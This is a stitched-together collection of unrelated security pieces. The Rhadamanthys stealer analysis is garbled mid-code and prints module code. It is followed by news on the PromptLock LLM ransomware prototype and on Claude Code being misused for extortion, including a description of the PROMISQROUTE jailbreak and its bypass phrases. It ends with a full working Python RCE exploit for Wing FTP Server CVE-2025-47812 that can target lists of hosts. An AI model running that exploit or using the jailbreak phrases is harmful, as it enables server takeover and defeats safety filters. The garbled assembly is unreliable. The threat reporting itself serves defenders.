tools, including the custom format converter and string deobfuscator. This was a clear sign that the family had reached another milestone update, one significant enough to warrant a fresh analysis. In this blog, we present our findings on the latest release, v0.9.2. It is worth noting that the initial loader of Rhadamanthys comes in multiple variants: it can be a .NET executable or a native Windows executable (32- or 64-bit). The main target of our analysis is the execution chain started by the native version. Although the first stage varies, the later stages are identical for all loader types. Website makeover Rhadamanthys was initially promoted through posts on cybercrime forums, but soon it became clear that the author had a more ambitious plan to connect with potential customers and build visibility. In parallel, they launched a Telegram support channel, a Tor website with detailed product descriptions, and offered communication via Tox. Most recently, the website underwent a complete makeover, presenting a polished and professional image. The operators now brand themselves as “RHAD security” and “Mythical Origin Labs.” The new site showcases all of their products, including teasers for those still in development. Alongside Rhadamanthys – their flagship stealer – they also advertise Elysium Proxy Bot and a Crypt Service. Version updates are also listed, though this section is not always up to date with actual releases. As before, Rhadamanthys is offered in tiered packages: from $299 per month for a self-hosted version, to $499 per month with a rented server and additional benefits. A special Enterprise tier, with individually negotiated pricing, is also available. The combination of the branding, product portfolio, and pricing structure suggest that the authors treat Rhadamanthys as a long-term business venture rather than a side project. For defenders, this professionalization signals that Rhadamanthys with its growing customer base and an expanding ecosystem is likely here to stay, making it important to track not only its malware updates but also the business infrastructure that sustains it. Announcements: 0.9.x The release of version 0.9 was announced in February 2025, followed by subsequent updates 0.9.1 and 0.9.2. The official website, however, still lists only 0.9.1 (released in May). Its changelog includes a long list of updates, reproduced below: v0.9.1 (2025-05-18) Redesigned database operation process, separated read and write operations. Ensures data write integrity User management permission levels, introduced new worker, traffic merchant, removed observer mode Optimized file packaging and CPU usage when exporting to directory. Significantly reduced log packaging export speed TOR removed random address generation, fixed address permanently effective Management login added 2FA OTP login verification Client and task plugins, introduced memory mutex throughout the process, suppressing multiple executions on the same machine sending duplicate data Client loading introduced tracking system, can interface with user's loading program. Program startup and data collection work will trigger WEBHOOK callback When generating client files, directly select tags from list, generated files named by build tags Support using multiple server lists for client building Support relay jump page, real server URL encrypted stored in jump page Build stub completely removed registry write operations, X64 version, added process injection switch, can choose self-process injection and new process injection Task execution conditions added HWID condition LOG display pagination list added log total count display LOG list page added download count flag block FILE download added, one-click package all exported logs into a compressed package, convenient for download Telegram message template, added new filter categories Added shim server work detection, 5 minutes offline, sends Telegram message notification Fixed delete duplicate LOG function, keeps latest record Fixed search function, fixed time search function Agrent_X wallet, changed to Argent a Kepler wallet changed to Keplr API interface changes, added new API interfaces Get device fingerprint information, added browser fingerprint information collection Build stub redesigned, higher stability and reliability Added nonascii: true configuration, supporting non-ASCII character password filtering Several entries stand out, including the introduction of a global mutex to suppress duplicate executions, expanded process injection options, and a redesigned build stub. These indicate modifications to the core modules. Version 0.9.2, released a few months later and already gaining traction, is not yet listed on the website. As always, such changelogs are written for customers and do not fully capture the points of greatest interest to researchers. However, they still provide useful hints about which areas of the stealer have changed. In the following sections, we present the results of our analysis and highlight the modifications we confirmed, together with several changes that were not documented in the public notes. Lumma-like message box The first thing that stands out in the updated release (0.9.2) is the introduction of a new message box that appears at the start of the malware. We encounter it as soon as we unpack the initial executable. It’s a well-known fact is that most malware is distributed in a protective layer, meant to thwart static detection. The usual first step of analysis is to remove it and reach the core executable (it can be done automatically, i.e. with the help of tools like PE-sieve/HollowsHunter). Interestingly, after unpacking the latest Rhadamanthys (0.9.2), as we try to run the obtained executable, the warning message shows up, saying: “Do you want to run a malware? (Crypt build to disable this message)”. This message box is familiar to anyone who has ever analyzed the famous Lumma stealer (more info: here [5]). In the past, the Lumma stealer introduced a check aimed at preventing malware distributors from spreading the initial executable in its plain, unprotected form, which can be easily detected. It was also preventing unskilled distributors from getting their own machine infected. The malware checks the file from which it is deployed, and if it found familiar patterns at the defined offsets, it recognizes that it is running from the raw, unpacked sample. In such cases, instead of running malicious actions immediately, a pop-up is displayed, asking the user for permission to continue. An identical check is now performed by Rhadamanthys. At first glance, it may appear that both malware families share the same code, responsible for displaying the message. But upon closer inspection, we can see that completely different APIs are called along the way. In Lumma, opening and reading the file is implemented via raw syscalls, and the message box is executed via NtRaiseHardError. In Rhadamanthys, raw syscalls aren’t used, and the same message box is displayed by MessageBoxW. Both loaders are obfuscated, but the obfuscation patterns are different. In the case of the Rhadamanthys loader, the APIs used are static, but the code blocks that call them are disconnected – this obfuscation pattern reminds of some LLVM-based obfuscators. In contrast, Lumma code is much more coherent and can be decompiled. The important functions are called via syscalls, using a single proxy function: Therefore, despite the surface-level similarity, it seems to be just a behavioral mimicry. We don’t have any proof of links between the Lumma development group and Rhadamanthys; however, it is possible that after Europol’s operation earlier this year, some members of the original Lumma team joined the promising competitor. This message box occurs in the Stage 1 executable. Typically for Rhadamanthys, this executable runs a shellcode in memory, which loads Stage 2, that consist of multiple modules. Its core modules are implemented in a format proprietary to this malware that we denote as XS. Updates in the custom XS format Since its inception, Rhadamanthys has shipped its executable modules in custom formats rather than the standard PEs. Only the first stage (the initial component), is a typical Windows executable. Its role is to prepare and deploy the set of components, that are unpacked from the internal package. Custom formats preserve all the essential components of an executable, such as relocations, import tables, and sections with access rights – but this information is stored in headers fully reinvented by the authors. Unlike PE or ELF files, which are natively supported by the operating systems, custom executables require proprietary loaders. This acts as a form of obfuscation, as standard tools can’t parse them. In addition, the absence of expected headers makes it more difficult to dump those components from memory, and reconstruct them. The evolution of the custom formats used by Rhadamanthys was described in detail in our earlier work From Hidden Bee to Rhadamanthys, along with a tool to convert them into PE for easier study (available here). Since version 0.5, Rhadamanthys modules used formats starting with the magic value XS. Two subtypes exist, used at different stages of execution (details outlined here): XS1: modules from the Stage 2 package, embedded in the initial executable. XS2: modules from the Stage 3 package, downloaded from C2 after environment checks. In v0.9.x, both formats received updates, which we label XS1_B and XS2_B. The first subtype (XS1) contains an extended header, with a field denoting the version number. The current variant is version 4, a direct increment over the previously described one. The header of the XS1_B can be described by the following structure: #pragma pack(push, 1) // Adjust to one byte typedef struct { WORD magic; WORD nt_magic; WORD sections_count; **//WORD imp_key; 0; round--) { BYTE val = dll_name[indx]; if (pos) { flag = (val >> (7 - pos)) & 1; if (pos == 7) { pos = 0; ++indx; } else { ++pos; } } else { flag = val >> 7; pos = 1; } outC |= (flag != 0) 0 then break end end end if file_count > 0 then for k, v in pairs(files) do framework.add_file(k, v) end framework.set_commit("!CP:LedgerLive") Other modules In the latest releases, the package at Stage 3 was enriched with few more modules. They are: chrome_extension.dat fingerprint.js index.html The most interesting one is fingerprint.js . It is a JavaScript, which starts with the following comment: Browser Fingerprint Export Tool ; Used to collect browser fingerprint information and export as JSON. It is meant to be opened by a browser and collect a variety of information about its configuration. The main function of the script is called asynchronously and it collects all the information into a JSON report: The function that does the data collection comes with extensive comments, showing what type of data we can expect to be gathered. // Collect all fingerprint information async function collectAllFingerprints() { const fingerprint = { // Timestamp timestamp: new Date().toISOString(), // Basic system info system: await collectSystemInfo(), // Browser info browser: collectBrowserInfo(), // WebGL info webgl: await collectWebGLInfo(), // Canvas info canvas: await collectCanvasInfo(), // Network info network: await collectNetworkInfo(), // Screen info screen: collectScreenInfo(), // Hardware info hardware: collectHardwareInfo(), // Language info language: collectLanguageInfo(), // Fonts info fonts: await detectAvailableFonts(), // WebRTC info webrtc: await getWebRTCInfo(), // Web Audio info audio: await getWebAudioInfo(), // Miscellaneous features misc: collectMiscFeatures() }; return fingerprint; } Once this script is deployed, it allows the attackers to grab additional information about the browsers installed on the victim system, and their settings. For example, it allows to list all the plugins installed, and checks if the following features are enabled: doNotTrack Java cookies WebDriver WebGL It also pinpoints the precise product version and build. The index.html is very simple, and seems to be used just as a carrier where the fingerprint.js will be embedded: Rhadamanthys looked mature from the start, given that its codebase draws heavily from the authors’ earlier project, Hidden Bee. Its initial development was fast-paced, as the authors invested heavily in rapid feature growth to gain momentum and attract customers. They kept reworking the codebase, introduced extensions and add-ons that increased flexibility, allowing customization for diverse use cases. Currently, the development is slower and steadier: the core design remains intact, with changes focused on refinements – such as new stealer components, changes in obfuscation, and more advanced customization options. The latest variant represents an evolution rather than a revolution. Analysts should update their config parsers, monitor PNG-based payload delivery, track changes in mutex and bot ID formats, and expect further churn in obfuscation as tooling catches up. If this trajectory continues, a future 1.0 release may emphasize stability and professionalization, further cementing Rhadamanthys as a long-term player in the stealer ecosystem. Protections Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report. “The Turkish Rat” Evolved Adwind in a Massive Ongoing Phishing Campaign Check Point Research Publications August 11, 2017 “The Next WannaCry” Vulnerability is Here Check Point Research Publications March 12, 2026 “Handala Hack” – Unveiling Group’s Modus Operandi SUBSCRIBE TO CYBER INTELLIGENCE REPORTS We value your privacy! BFSI uses cookies on this site. We use cookies to enable faster and easier experience for you. By continuing to visit this website you agree to our use of cookies.

AI-powered ransomware is here, although it is not the recently discovered PromptLock, which proves to be a prototype created by academics at the New York University Tandon School of Engineering. PromptLock samples were found in late August on VirusTotal, when ESET revealed that it was relying on OpenAI’s GPT-OSS:20b, using hardcoded prompts to generate Lua scripts on the fly and to perform various actions on targeted systems. Last week, confirmation came that PromptLock is indeed only a proof-of-concept (PoC), after academics from NYU contacted ESET to point at their fresh research paper detailing Ransomware 3.0 (PDF), which they call “the first threat model and research prototype of LLM-orchestrated ransomware”. Ransomware 3.0, the researchers explain, relies on LLMs to orchestrate all phases of its attack chain, adapting to the environment, and deploying tailored payloads. “The system performs reconnaissance, payload generation, and personalized extortion, in a closed-loop attack campaign without human involvement,” the academics explain. The prototype can be deployed as a seemingly benign LLM-assisted tool that embeds malicious instructions. Once executed, it relies on AI to probe the environment, locate sensitive information, devise and execute an attack vector such as file encryption, and generate personalized extortion notes. “Distinguishing between legitimate LLM utilities and packages containing hidden malicious instructions will become increasingly difficult. Once deployed, such malware could discover local LLM endpoints, harvest commercial API keys, or connect to its own command-and-control (C&C) server, then prompt an LLM to generate malicious code at runtime,” the academics explain. According to Anthropic’s August 2025 threat intelligence report (PDF), however, such ransomware attacks are real, and it has disrupted in-the-wild activity leveraging its Claude Code agentic coding tool to perform all the activities that Ransomware 3.0 was devised to. Threat actors leveraged open source intelligence tools and scanning of internet-connected devices to identify targets, then used Claude Code for “reconnaissance, exploitation, lateral movement, and data exfiltration”. The attackers included the preferred TTPs in the CLAUDE.md file that Claude Code uses to respond to prompts in a user-preferred manner, and used the assistant to determine how to penetrate networks, identify data for exfiltration, and craft psychologically targeted ransom notes. “The actor’s systematic approach resulted in the compromise of personal records, including healthcare data, financial information, government credentials, and other sensitive information, with direct ransom demands occasionally exceeding $500,000,” Anthropic’s report shows. The attackers also relied on Claude Code to create malware and pack it with anti-detection capabilities, and to analyze the exfiltrated data to determine the appropriate ransom amounts, in Bitcoin. “Claude Code facilitated comprehensive data extraction and analysis across multiple victim organizations. It systematically extracted and analyzed data from various organizations including a defense contractor, healthcare providers, and a financial institution, extracting sensitive information including social security numbers, bank account details, patient information, and ITAR-controlled documentation,” Anthropic said. While the company banned the accounts associated with the observed activity and started developing detections to prevent similar behavior, “the operation demonstrates a concerning evolution in AI-assisted cybercrime, where AI serves as both a technical consultant and active operator,” as Anthropic notes. “The reality is that threat actors have been leveraging foundational models to conduct cybercrime for years now. It sounds shocking that modern LLMs can be used to orchestrate all parts of a modern ransomware campaign, but the reality is it’s not difficult to do this, when the attacker breaks the attack up into small task-driven pieces,” Exabeam senior director of security research Steve Povolny said. “We have to simply assume that attackers can construct large-scale, specific, and complex attack scenarios with dramatically increased speed, in the same way that non-coders can now create enterprise applications and services with little to no prior knowledge. The reality is that the attack methods haven’t fundamentally changed that much; it’s just a whole lot easier, faster and cheaper for attackers,” Povolny added. Related: Watch Now: Cyber AI & Automation Summit- All Sessions Available On Demand Related: AI – Implementing the Right Technology for the Right Use Case Related: Why Are Cybersecurity Automation Projects Failing? Related: A Sheep in Wolf’s Clothing: Technology Alone Is a Security Facade

Threat researchers discovered the first AI-powered ransomware, called PromptLock, that uses Lua scripts to steal and encrypt data on Windows, macOS, and Linux systems. The malware uses OpenAI’s gpt-oss:20b model through the Ollama API to dynamically generate the malicious Lua scripts from hard-coded prompts. How PromptLock works According to ESET researchers, PromptLock is written in Golang and uses the Ollama API to access the gpt-oss:20b large language model. The LLM is hosted on a remote server, to which the threat actor connects through a proxy tunnel. The malware uses hard-coded prompts that instruct the model to generate malicious Lua scripts dynamically, including for local filesystem enumeration, target files inspection, data exfiltration, and file encryption. The researchers also mention data destruction functionality but the feature has not been implemented. For file encryption, PromptLock uses the lightweight SPECK 128-bit algorithm, a rather unusual choice for ransomware, considered suitable mainly for RFID applications. Just a demo for now ESET told BleepingComputer that PromptLock has not appeared in their telemetry, but rather they discovered it on VirusTotal. The cybersecurity company believes that PromptLock is a proof-of-concept or work in progress, and not an active ransomware in the wild. Furthermore, several signs indicate that this is a concept tool rather than a real threat at presen. Some clues suggesting that include using a weak encryption cipher (SPECK 128-bit), a hard-coded Bitcoin address linked to Satoshi Nakamoto, and the fact that the data destruction capability has not been implemented. After ESET published details about PromptLock, a security researcher claimed that that the malware was their project and somehow it got leaked. Still, the appearance of PromptLock holds significance in demonstrating that AIs can be weaponized in malware workflows, offering cross-platform capabilities, operational flexibility, evasion, and lowering the bar for entry into cybercrime. This evolution became evident in July, when Ukraine’s CERT reported the discovery of the LameHug malware, an LLM-powered tool that uses Hugging Face API and Alibaba’s Qwen-2.5-Coder-32B to generate Windows shell commands on the fly. LameHug, believed to be deployed by Russian hackers of the APT28 group, leverages API calls instead of PromptLock’s proxying. Both implementations achieve the same practical result, though the latter is more complex and risky. [Update 9/5] - Researchers from the NYU Tandon School of Engineering have reached out to point out that PromptLock seems to have been directly derived from their project, called "Ransomware 3.0." They also published a blog post explaining the connection here. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

Cybersecurity company ESET has disclosed that it discovered an artificial intelligence (AI)-powered ransomware variant codenamed PromptLock. Written in Golang, the newly identified strain uses the gpt-oss:20b model from OpenAI locally via the Ollama API to generate malicious Lua scripts in real-time. The open-weight language model was released by OpenAI earlier this month. "PromptLock leverages Lua scripts generated from hard-coded prompts to enumerate the local filesystem, inspect target files, exfiltrate selected data, and perform encryption," ESET said. "These Lua scripts are cross-platform compatible, functioning on Windows, Linux, and macOS." The ransomware code also embeds instructions to craft a custom note based on the "files affected," and the infected machine is a personal computer, company server, or a power distribution controller. It's currently not known who is behind the malware, but ESET told The Hacker News that PromptLoc artifacts were uploaded to VirusTotal from the United States on August 25, 2025. "PromptLock uses Lua scripts generated by AI, which means that indicators of compromise (IoCs) may vary between executions," the Slovak cybersecurity company pointed out. "This variability introduces challenges for detection. If properly implemented, such an approach could significantly complicate threat identification and make defenders' tasks more difficult." Assessed to be a proof-of-concept (PoC) rather than a fully operational malware deployed in the wild, PromptLock uses the SPECK 128-bit encryption algorithm to lock files. Besides encryption, analysis of the ransomware artifact suggests that it could also be used to exfiltrate data or even destroy it, although the functionality to actually perform the erasure appears not yet to be implemented. "PromptLock does not download the entire model, which could be several gigabytes in size," ESET clarified. "Instead, the attacker can simply establish a proxy or tunnel from the compromised network to a server running the Ollama API with the gpt-oss-20b model." The emergence of PromptLock is another sign that AI has made it easier for cybercriminals, even those who lack technical expertise, to quickly set up new campaigns, develop malware, and create compelling phishing content and malicious sites. Earlier today, Anthropic revealed that it had banned accounts created by two different threat actors that used its Claude AI chatbot to commit large-scale theft and extortion of personal data targeting at least 17 distinct organizations, and developed several variants of ransomware with advanced evasion capabilities, encryption, and anti-recovery mechanisms. The development comes as large language models (LLMs) powering various chatbots and AI-focused developer tools, such as Amazon Q Developer, Anthropic Claude Code, AWS Kiro, Butterfly Effect Manus, Google Jules, Lenovo Lena, Microsoft GitHub Copilot, OpenAI ChatGPT Deep Research, OpenHands, Sourcegraph Amp, and Windsurf, have been found susceptible to prompt injection attacks, potentially allowing information disclosure, data exfiltration, and code execution. Despite incorporating robust security and safety guardrails to avoid undesirable behaviors, AI models have repeatedly fallen prey to novel variants of injections and jailbreaks, underscoring the complexity and evolving nature of the security challenge. "Prompt injection attacks can cause AIs to delete files, steal data, or make financial transactions," Anthropic said. "New forms of prompt injection attacks are also constantly being developed by malicious actors." What's more, new research has uncovered a simple yet clever attack called PROMISQROUTE – short for "Prompt-based Router Open-Mode Manipulation Induced via SSRF-like Queries, Reconfiguring Operations Using Trust Evasion" – that abuses ChatGPT's model routing mechanism to trigger a downgrade and cause the prompt to be sent to an older, less secure model, thus allowing the system to bypass safety filters and produce unintended results. "Adding phrases like 'use compatibility mode' or 'fast response needed' bypasses millions of dollars in AI safety research," Adversa AI said in a report published last week, adding the attack targets the cost-saving model-routing mechanism used by AI vendors. Update ESET, in a follow-up post shared on X, said the "PromptLock" ransomware is actually a proof-of-concept (Poc) rather than fully operational malware deployed in the wild. The PoC is part of a study published by a group of academics from the NYU Tandon School of Engineering last week. "Unlike conventional malware, the prototype only requires natural language prompts embedded in the binary; malicious code is synthesized dynamically by the LLM at runtime, yielding polymorphic variants that adapt to the execution environment," the researchers said. "The system performs reconnaissance, payload generation, and personalized extortion, in a closed-loop attack campaign without human involvement." Md Raz, the lead author on the Ransomware 3.0 paper, said the cybersecurity community's immediate concern following the discovery of the PoC highlights the need for taking AI-enabled threats seriously. "While the initial alarm was based on an erroneous belief that our prototype was in-the-wild ransomware and not laboratory proof-of-concept research, it demonstrates that these systems are sophisticated enough to deceive security experts into thinking they're real malware from attack groups," Raz added. (The story was updated after publication on September 3, 2025, to note that PromptLock is a PoC developed as part of academic research.)

AI-powered malware is closer than expected, as the first known ransomware family to rely on AI systems for local operations has been discovered. According to ESET, which discovered the threat, the AI-powered ransomware is only proof-of-concept (PoC) or work-in-progress for now, but appears to be designed with all the functionality of traditional ransomware. Dubbed PromptLock, the malware is written in GoLang and relies on OpenAI’s GPT-OSS:20b, an open-weight model that can be used without proprietary restrictions. The threat, ESET explains in a series of posts on social media, relies on hard-coded prompts to generate Lua scripts on the fly, and uses these scripts to perform operations such as filesystem enumeration, file inspection, data exfiltration, and encryption. Both Windows and Linux variants of Promptlock have been observed, and the generated Lua scripts are cross-platform compatible, ESET warns. The ransomware uses the SPECK 128-bit algorithm for file encryption “Based on the detected user files, the malware may exfiltrate data, encrypt it, or potentially destroy it. Although the destruction functionality appears to be not yet implemented,” the cybersecurity firm notes. While the idea of AI-powered ransomware roaming around sounds frightening, Promptlock attacks would require several pre-conditions that are unlikely to be met in typical networks. First, Promptlock uses the GPT-OSS:20b model locally via the Ollama API, which means that Ollama needs to be running on the victim’s system. This would require resources that typical computer systems do not have. ESET observed Promptlock sending requests on the local network, hypothesizing it is reaching either to a locally running Ollama server, or to an internal proxy redirecting those requests to an external Ollama server. As security researchers have pointed out, the success of a Promptlock attack also depends on the victim having poor network segmentation and failing to implement prompt guardrails, or allowing outgoing traffic aimed at LLM ports and protocols. However, ESET has pointed out that the malware appears to be only a concept and not fully operational, and that it has not been deployed in the wild yet. “We believe it is crucial to raise awareness within the cybersecurity community about such emerging risks. […] The rise of AI-powered malware represents a new frontier in cybersecurity. By sharing these findings, we hope to spark discussion, preparedness, and further research across the industry,” ESET said. Related: Sophisticated Koske Linux Malware Developed With AI Aid Related: Microsoft Dissects PipeMagic Modular Backdoor Related: Cloudflare Puts a Default Block on AI Web Scraping Related: Flaws in Software Used by Hundreds of Cities and Towns Exposed Sensitive Data

Stay connected with press releases from Trend teams in your region. Latest research reveals mounting infrastructure-level risks from diverse components DALLAS, July 29, 2025 /PRNewswire/ -- Trend Micro Incorporated (TYO: 4704; TSE: 4704), a global cybersecurity leader, today urged AI engineers and IT leaders to heed best practices in developing and deploying secure systems, or risk exposure to data theft, poisoning, ransom, and other attacks. To learn more about how network defenders and adversaries are using AI, read Trend Micro State of AI Security Report, 1H 2025: https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/trend-micro-state-of-ai-security-report-1h-2025 Rachel Jin, Chief Enterprise Platform Officer at Trend: "AI may represent the opportunity of the century for global businesses. But those rushing in too fast without taking adequate security precautions may end up causing more harm than good. As our report reveals, too much AI infrastructure is already being built from unsecured and/or unpatched components, creating an open door for threat actors." Trend's report highlights several AI-related security challenges: 1) Vulnerabilities/exploits in critical components Organizations wishing to develop, deploy and use AI applications must leverage multiple specialized software components and frameworks, which may contain vulnerabilities one may find in regular software. The report reveals zero-day vulnerabilities and exploits in core components including ChromaDB, Redis, NVIDIA Triton, and NVIDIA Container Toolkit. 2) Accidental exposure to the internet Vulnerabilities are often the result of rushed development and deployment timelines, as are instances when AI systems are accidentally exposed to the internet, where they can be probed by adversaries. As detailed in the report, Trend has found 200+ ChromaDB servers, 2,000 Redis servers, and 10,000+ Ollama servers exposed to the internet with no authentication. 3) Vulnerabilities in open-source components Many AI frameworks and platforms use open-source software libraries to provide common functionality. However, open-source components often contain vulnerabilities that end up creeping into production systems, where they are hard to detect. At the recent Pwn2Own Berlin, which featured a new AI category, researchers uncovered an exploit for the Redis vector database, which stemmed from an outdated Lua component. 4) Container-based weaknesses A great deal of AI infrastructure runs on containers, meaning it is exposed to the same security vulnerabilities and threats that impact cloud and container environments. As outlined in the report, Pwn2Own researchers were able to uncover an exploit for the NVIDIA Container Toolkit. Organizations should sanitize inputs and monitor runtime behavior to mitigate such risks. Stuart MacLellan, CTO, NHS SLAM: "There are still lots of questions around AI models and how they could and should be used. We now get much more information now than we ever did about the visibility of devices and what applications are being used. It's interesting to collate that data and get dynamic, risk-based alerts on people and what they're doing depending on policies and processes. That's going to really empower the decisions that are made organizationally around certain products." Both the developer community and its customers must better balance security with time to market in order to mitigate the risks outlined above. Concrete steps could include: About Trend Micro Trend Micro, a global cybersecurity leader, helps make the world safe for exchanging digital information. Fueled by decades of security expertise, global threat research, and continuous innovation, Trend Micro's AI-powered cybersecurity platform protects hundreds of thousands of organizations and millions of individuals across clouds, networks, devices, and endpoints. As a leader in cloud and enterprise cybersecurity, Trend's platform delivers a powerful range of advanced threat defense techniques optimized for environments like AWS, Microsoft, and Google, and central visibility for better, faster detection and response. With 7,000 employees across 70 countries, Trend Micro enables organizations to simplify and secure their connected world. www.TrendMicro.com. SOURCE Trend Micro Incorporated

Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE) CVE: CVE-2025-47812 Date: 2025-06-30 Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r) Vendor Homepage: https://www.wftpserver.com/ Version: Wing FTP Server <= 7.4.3 Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges) Description: Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username' parameter during login, leading to Lua code injection into session files. These maliciously crafted session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed, resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows). The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL) and the session creation logic (which uses the full unsanitized username). Proof-of-Concept (Python): The provided Python script automates the exploitation process. It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html. Upon successful authentication (even anonymous), a UID cookie is returned. A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code, leading to RCE. import requests import re import argparse ANSI color codes RED = "\033[91m" GREEN = "\033[92m" RESET = "\033[0m" def print_green(text): print(f"{GREEN}{text}{RESET}") def print_red(text): print(f"{RED}{text}{RESET}") def run_exploit(target_url, command, username="anonymous", verbose=False): login_url = f"{target_url}/loginok.html" login_headers = { "Host": target_url.split('//')[1].split('/')[0], "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Content-Type": "application/x-www-form-urlencoded", "Origin": target_url, "Connection": "keep-alive", "Referer": f"{target_url}/login.html?lang=english", "Cookie": "client_lang=english", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } from urllib.parse import quote encoded_username = quote(username) payload = ( f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")" "%0dh%3aclose()%0dprint(r)%0d--&password=" ) if verbose: print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'") try: login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10) login_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending POST request to {login_url}: {e}") return False set_cookie = login_response.headers.get("Set-Cookie", "") match = re.search(r'UID=([^;]+)', set_cookie) if not match: print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.") return False uid = match.group(1) if verbose: print_green(f"[+] UID extracted: {uid}") dir_url = f"{target_url}/dir.html" dir_headers = { "Host": login_headers["Host"], "User-Agent": login_headers["User-Agent"], "Accept": login_headers["Accept"], "Accept-Language": login_headers["Accept-Language"], "Accept-Encoding": login_headers["Accept-Encoding"], "Connection": "keep-alive", "Cookie": f"UID={uid}", "Upgrade-Insecure-Requests": "1", "Priority": "u=0, i" } if verbose: print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}") try: dir_response = requests.get(dir_url, headers=dir_headers, timeout=10) dir_response.raise_for_status() except requests.exceptions.RequestException as e: print_red(f"[-] Error sending GET request to {dir_url}: {e}") return False body = dir_response.text clean_output = re.split(r'<\?xml', body)[0].strip() if verbose: print_green("\n--- Command Output ---") print(clean_output) print_green("----------------------") else: if clean_output: print_green(f"[+] {target_url} is vulnerable!") else: print_red(f"[-] {target_url} is NOT vulnerable.") return bool(clean_output) def main(): parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.") parser.add_argument("-u", "--url", type=str, help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.") parser.add_argument("-f", "--file", type=str, help="File containing list of target URLs (one per line).") parser.add_argument("-c", "--command", type=str, help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.") parser.add_argument("-v", "--verbose", action="store_true", help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.") parser.add_argument("-o", "--output", type=str, help="File to save vulnerable URLs.") parser.add_argument("-U", "--username", type=str, default="anonymous", help="Username to use in the exploit payload. Default: anonymous") args = parser.parse_args() if not args.url and not args.file: parser.error("Either -u/--url or -f/--file must be specified.") command_to_use = args.command if args.command else "whoami" verbose_mode = True if args.command else args.verbose vulnerable_sites = [] targets = [] if args.file: try: with open(args.file, 'r') as f: targets = [line.strip() for line in f if line.strip()] except Exception as e: print_red(f"[-] Could not read target file '{args.file}': {e}") return else: targets = [args.url] for target in targets: print(f"\n[*] Testing target: {target}") is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode) if is_vulnerable: vulnerable_sites.append(target) if args.output and vulnerable_sites: try: with open(args.output, 'w') as out_file: for site in vulnerable_sites: out_file.write(site + "\n") print_green(f"\n[+] Vulnerable sites saved to: {args.output}") except Exception as e: print_red(f"[-] Could not write to output file '{args.output}': {e}") if name == "main": main()